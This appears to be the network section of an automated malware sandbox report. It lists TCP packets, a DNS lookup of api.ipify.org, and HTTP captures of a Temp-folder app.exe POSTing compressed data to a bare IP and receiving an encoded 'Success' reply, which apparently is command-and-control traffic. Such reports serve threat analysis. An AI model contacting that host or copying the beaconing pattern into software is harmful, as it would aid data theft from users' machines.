May 5, 2024 00:25:09.031714916 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.031759024 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.031872988 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.032030106 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.032143116 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.136535883 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.136635065 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.136679888 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.136744022 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.136744022 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.136787891 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.136830091 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.241624117 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.241689920 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.241981030 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.242082119 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.346775055 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.346833944 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.346874952 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.346915007 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.347251892 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.347332954 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.347376108 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.347763062 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.347843885 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.347887039 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.347956896 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.347997904 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.348061085 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.348088026 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.348103046 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.348210096 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.348279953 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.348391056 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.348747969 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.348922968 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.349054098 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.452989101 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.453052044 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.453123093 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.453162909 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.453202963 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.453241110 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.453280926 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.453279018 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.453404903 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.453412056 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.453475952 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.453519106 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.453609943 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.453744888 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.453764915 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.453811884 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.453855038 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.453896046 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.453934908 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.454125881 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.454236984 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.454957008 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.454998970 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.455061913 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.455101013 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.455168009 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.455343008 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.455378056 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.455444098 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.455485106 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.455571890 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.455744982 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.455754995 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.455899954 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456037998 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.456054926 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456095934 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456219912 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.456365108 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456423998 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.456453085 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456497908 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456593990 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456600904 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.456636906 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456676960 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456716061 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456754923 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456770897 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.456794024 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456834078 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456871986 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456902981 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.456911087 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456950903 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.456989050 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.457026958 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.457062960 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.457236052 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.561199903 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.561284065 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.561358929 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.561402082 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.561403990 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.561446905 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.561522007 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.561568975 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.561676025 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.561744928 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.561764002 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.561811924 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.561872959 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.561913013 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.561911106 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.561990976 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562032938 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562096119 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562103987 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.562138081 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562179089 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562213898 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.562242031 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562282085 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562320948 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562357903 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562396049 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562398911 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.562436104 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562474966 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562513113 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562545061 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.562551975 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562591076 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562629938 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562725067 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.562828064 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562884092 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.562943935 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.562962055 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.563024998 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.563241005 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.563249111 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.563255072 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.563499928 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.563513041 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.563577890 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.563730001 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.563757896 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.563771009 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.563927889 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.564009905 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564188004 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564207077 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564219952 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564240932 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.564285994 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564301014 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564385891 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564399004 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564500093 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564515114 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564527035 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564579010 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.564667940 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564747095 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.564755917 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564770937 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564898014 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564910889 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.564946890 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:09.565047026 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.565063953 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.565294981 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.565423012 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.565440893 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.565561056 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.565577984 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.565591097 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.565603018 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.565615892 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.565793991 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.565916061 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.566046000 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.566267967 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.566397905 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.566415071 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.566519976 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.566648960 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.566665888 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.566772938 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.566899061 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.566916943 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.566930056 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.567094088 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.567266941 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.567347050 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.567468882 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.567482948 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.567593098 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.567606926 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.667402029 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.667440891 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.667455912 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.667469978 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.667999029 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668024063 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668040037 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668116093 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668245077 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668263912 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668279886 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668431997 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668467999 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668484926 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668499947 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668515921 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668531895 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668670893 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668694019 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668734074 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668751955 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668776035 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668792963 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.668808937 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.669043064 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.669065952 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.669291019 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.669313908 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.669342995 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.669539928 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.669686079 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.669719934 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.669925928 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.670160055 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.670233011 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.670249939 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.670412064 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.670433998 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.670663118 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.670685053 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.670717955 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.670908928 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.670993090 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.671015978 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.671031952 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.671047926 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.671140909 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.671159029 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.671175003 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.671192884 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.671217918 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.671415091 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.671437979 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.768264055 CEST	80	49789	144.208.127.230	192.168.11.20
May 5, 2024 00:25:09.810328007 CEST	49789	80	192.168.11.20	144.208.127.230
May 5, 2024 00:25:10.640578985 CEST	49789	80	192.168.11.20	144.208.127.230

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 5, 2024 00:24:47.800074100 CEST	54765	53	192.168.11.20	1.1.1.1
May 5, 2024 00:24:47.899873972 CEST	53	54765	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 5, 2024 00:24:47.800074100 CEST	192.168.11.20	1.1.1.1	0x3613	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
May 5, 2024 00:24:47.899873972 CEST	1.1.1.1	192.168.11.20	0x3613	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
May 5, 2024 00:24:47.899873972 CEST	1.1.1.1	192.168.11.20	0x3613	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
May 5, 2024 00:24:47.899873972 CEST	1.1.1.1	192.168.11.20	0x3613	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

144.208.127.230

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49789	144.208.127.230	80	7132	C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe

Timestamp	Bytes transferred	Direction	Data
May 5, 2024 00:24:50.216104031 CEST	244	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Length: 451 Host: 144.208.127.230
May 5, 2024 00:24:50.216152906 CEST	451	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 ff 6d 92 dd 6e e2 30 10 85 5f 65 e4 ab 56 2a 91 b3 d0 68 c3 d5 a6 b0 0a bb 2b b4 15 bb a8 37 96 22 13 0f 89 d5 60 47 b6 03 fd 51 df bd 76 02 54 a8 bd b3 3e 9f 33 33 67 ec 57 a2 f8 0e c9 94 ac ee 8a 87 98 26 93 82 8e c9 Data Ascii: mn0_eVh+7"`GQvT>33gW&q5{w{rnx=+bdqt%0Y4\3\CSS!-jmZ=}P_Hb#$ATAFo)k,zA*bF0Q~.B$hFxq#
May 5, 2024 00:24:50.450010061 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 04 May 2024 22:24:50 GMT Content-Type: application/json; charset=utf-8 Content-Length: 8305 Connection: keep-alive Vary: Accept-Encoding Cache-Control: max-age=0 X-Frame-Options: sameorigin X-Content-Type-Options: nosniff Referrer-Policy: no-referrer Data Raw: 7b 22 73 74 61 74 75 73 22 3a 20 22 53 75 63 63 65 73 73 22 2c 20 22 6b 22 3a 20 22 38 74 6e 65 6c 63 22 2c 20 22 63 22 3a 20 22 6b 61 4e 4a 77 65 70 73 52 5a 49 79 30 62 53 72 71 7a 55 37 44 4b 74 37 72 67 4e 49 4c 38 41 32 35 42 37 73 61 68 66 65 56 54 74 54 44 6e 65 6a 58 6f 32 63 31 74 4f 35 34 52 31 78 56 35 33 4b 2f 61 44 42 36 7a 32 2b 5a 32 4a 6e 70 50 62 41 43 55 41 64 4e 2f 35 44 65 42 59 76 39 6f 68 71 5a 30 64 4f 4c 2b 39 6f 2b 4a 61 58 7a 73 6a 68 6c 44 73 76 4e 79 6e 79 62 6e 42 33 47 52 52 51 37 35 46 44 6c 2f 6e 64 31 78 2b 70 78 55 66 47 6d 55 6c 51 39 79 76 30 72 48 39 4f 4c 67 78 68 4e 74 55 6f 41 33 32 54 6c 53 6b 4b 63 74 35 58 68 37 4f 51 35 69 56 30 78 51 52 6d 70 4b 52 63 4f 36 42 71 33 2f 71 6c 6d 4f 37 49 53 63 46 37 52 32 52 2b 59 5a 70 71 76 4b 42 55 4e 4d 45 4a 73 32 79 73 6c 6b 71 44 5a 78 75 39 6c 6e 50 62 57 2b 74 48 6b 4c 44 6d 6a 6a 67 72 78 5a 31 39 56 46 5a 4f 49 66 70 33 4c 75 39 34 69 4a 34 50 57 38 75 37 66 66 76 4d 76 6e 6e 71 73 59 56 50 2b 76 4e 70 67 59 67 [TRUNCATED] Data Ascii: {"status": "Success", "k": "8tnelc", "c": "kaNJwepsRZIy0bSrqzU7DKt7rgNIL8A25B7sahfeVTtTDnejXo2c1tO54R1xV53K/aDB6z2+Z2JnpPbACUAdN/5DeBYv9ohqZ0dOL+9o+JaXzsjhlDsvNynybnB3GRRQ75FDl/nd1x+pxUfGmUlQ9yv0rH9OLgxhNtUoA32TlSkKct5Xh7OQ5iV0xQRmpKRcO6Bq3/qlmO7IScF7R2R+YZpqvKBUNMEJs2yslkqDZxu9lnPbW+tHkLDmjjgrxZ19VFZOIfp3Lu94iJ4PW8u7ffvMvnnqsYVP+vNpgYg3lAmxfli1XbZzjIDRQyy5Lbl+uz0J5hJojeDip0XEg46YkH/Zr+tFfLhA/eAQCQad1XVzyTs+YQamHnJaEsQ72/+XztcXwCaBFu7dHlo0223GdLL2YXdPr8WxyzolPFGBWndMBbiCzvSmYnWgZg35iZdhEnJ12KJoYlkAmk9Mja5kG9BwkWDVHN9lso+bzJzzKrRHzT7RVg9wAAU/aeeopGCsTjBXlyUlhBm5u/6PkHOp4YMVOMt4oOwMU+OfKU+DvUaLp40YAZ9xoNPV9aePcxmV1V+Cu8JeCWWMqIvXvJ4zYI5k7iFV82jRtpfcfsPHi5l1rouoKPw6Odz8er65Qdos32cQVg+B24Chib7ZgEtCxhl2hLgLlc77GlSGm3HSTzWHnt5pZltMWP1n0pAhYTqA+m/Jba46kbBybPmiy3MYMrslWH+VQKUUTwE6By7O397vhGuimnZ2xS3+HUmP3sM89ICF/pz1AsEvZW1EU4nCtaz9ttGeH/2jg4ieVQxNLOiZ+o1i4YKbPXPjUTN9UpScmK+IQQ917mHWOgfRTKHx6bgREDv++5YhViKDXKvP22yhVM3vLYLAjlR2OgSVq8z0QiUajMd+pdWyANL8RfjXc7B5SYbgVzrAaBrvPhBx2xEQC
May 5, 2024 00:24:50.450088978 CEST	1289	IN	Data Raw: 62 6b 64 73 38 65 52 54 72 6a 58 4a 46 65 54 59 4e 6f 61 31 5a 51 37 6a 50 56 7a 54 53 32 38 5a 6f 49 53 4e 39 42 6c 49 66 6b 78 6f 30 64 62 7a 55 51 55 4e 72 36 48 56 67 71 38 54 64 44 75 76 49 4c 4c 57 35 78 33 4a 78 67 66 56 72 61 4b 4b 52 43 Data Ascii: bkds8eRTrjXJFeTYNoa1ZQ7jPVzTS28ZoISN9BlIfkxo0dbzUQUNr6HVgq8TdDuvILLW5x3JxgfVraKKRCD1/Df/98Wh8K6F9wa2B/jbCbTf7/2OFTVGsVdFL15ujKD2e9YerOtL54nytmoFxqhswMBs4s6NNGxOnB8MEkHBwnSFUxslHcsDRG/zTUzdridHCr3trm76UPVVSbR9ATXQHtl/v2trn2PEr5n0TUPNkSnrxqnmpHM
May 5, 2024 00:24:50.450146914 CEST	1289	IN	Data Raw: 6f 48 73 74 4e 6b 68 52 35 76 62 58 63 58 5a 6d 6c 47 4f 54 7a 49 6d 63 30 79 67 71 49 6e 64 43 33 6c 4d 39 45 2f 62 77 70 4b 43 61 63 6b 41 34 4b 69 62 44 41 5a 55 45 47 74 35 41 54 34 75 38 67 66 38 55 33 30 75 71 45 59 6c 7a 4c 54 4b 78 49 2f Data Ascii: oHstNkhR5vbXcXZmlGOTzImc0ygqIndC3lM9E/bwpKCackA4KibDAZUEGt5AT4u8gf8U30uqEYlzLTKxI/PfykhqXQTJk4oMUVQ4EOW1nezzt+qXOPJTpMPai7SoKD+UYcfa6d/P+p68pDUe9GJM/MZjlZyXDec8815W32UMTugu6qHm/vUBh5CLpVPafGItqH4aImWLc2ETcy3ARdSemvoYXcaUWEQI+s1PB4yYhKtvg/G11My
